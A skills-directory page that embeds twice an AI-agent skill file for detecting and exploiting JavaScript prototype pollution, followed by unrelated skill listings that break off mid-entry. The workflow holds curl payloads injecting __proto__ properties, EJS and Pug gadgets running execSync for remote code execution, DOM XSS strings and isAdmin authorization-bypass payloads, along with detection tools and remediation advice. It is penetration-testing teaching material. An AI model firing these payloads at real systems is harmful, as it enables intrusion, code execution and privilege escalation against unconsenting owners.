[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ETPMXQHCQS81TTT24M742W":3,"skill-same:01M6ETPMXQHCQS81TTT24M742W":107},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":14,"repositoryHtmlUrl":71,"repositoryHomepageUrl":72,"ownerHtmlUrl":73,"ownerBlogUrl":6,"ownerDescription":74,"updatedAt":75,"install":76,"resources":89},"01M6ETPMXQHCQS81TTT24M742W","exploiting-prototype-pollution-in-javascript",null,"Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"prototype","javascript","pollution","prototype pollution","exploiting prototype pollution in javascript","de","cybersecurity","cm","exploit","node","t1505","server-side-pollution","dom-xss","property-injection","xss","node-js","prototype-pollution","injection","server","authentication","2026-11-10 10:12:30",false,"---\nname: exploiting-prototype-pollution-in-javascript\ndescription: Detect and exploit JavaScript prototype pollution vulnerabilities on\n  both client-side and server-side applications to achieve XSS, RCE, and authentication\n  bypass through property injection.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- prototype-pollution\n- javascript\n- node-js\n- xss\n- rce\n- property-injection\n- dom-xss\n- server-side-pollution\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n","# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n",{"name":5,"tags":52,"author":54,"domain":33,"license":15,"version":55,"nist_csf":56,"subdomain":61,"description":7,"mitre_attack":62},[43,28,42,41,53,40,39,38],"rce","mahipal","1.0",[57,58,59,60],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[63,64,65,66,67],"T1190","T1059.007","T1505.003","T1083","T1055","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":77,"prompt":87,"zipAvailable":88},[78,81,84],{"tool":79,"command":80},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill exploiting-prototype-pollution-in-javascript",{"tool":82,"command":83},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill exploiting-prototype-pollution-in-javascript",{"tool":85,"command":86},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill exploiting-prototype-pollution-in-javascript","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",true,[90,95,101],{"path":91,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FLICENSE",{"path":96,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"references\u002Fapi-reference.md","REFERENCE","参考文档",2477,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002Freferences\u002Fapi-reference.md",{"path":102,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":105,"sourceHtmlUrl":106},"scripts\u002Fagent.py","SCRIPT","脚本",5642,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002Fscripts\u002Fagent.py",[108,149,158,167,189,215],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":129,"publishedAt":47},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[115,118,121,124],{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":125,"categoryName":126,"taxonomyType":127,"taxonomyTypeDesc":128},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[110,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":150,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":151,"categories":152,"keywords":157,"publishedAt":47},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[153,154,155,156],{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":125,"categoryName":126,"taxonomyType":127,"taxonomyTypeDesc":128},[110,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148],{"skillNo":159,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":166,"publishedAt":47},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[162,163,164,165],{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":125,"categoryName":126,"taxonomyType":127,"taxonomyTypeDesc":128},[110,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148],{"skillNo":168,"name":169,"nameZh":6,"description":170,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":171,"categories":172,"keywords":173,"publishedAt":47},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[174,175,176,177,178,179,180,181,182,183,184,185,186,187,188],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":190,"name":191,"nameZh":6,"description":192,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":193,"categories":194,"keywords":196,"publishedAt":47},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[195],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[197,198,199,200,201,202,203,204,205,206,207,141,142,208,209,210,211,212,213,214],"oracle","what if 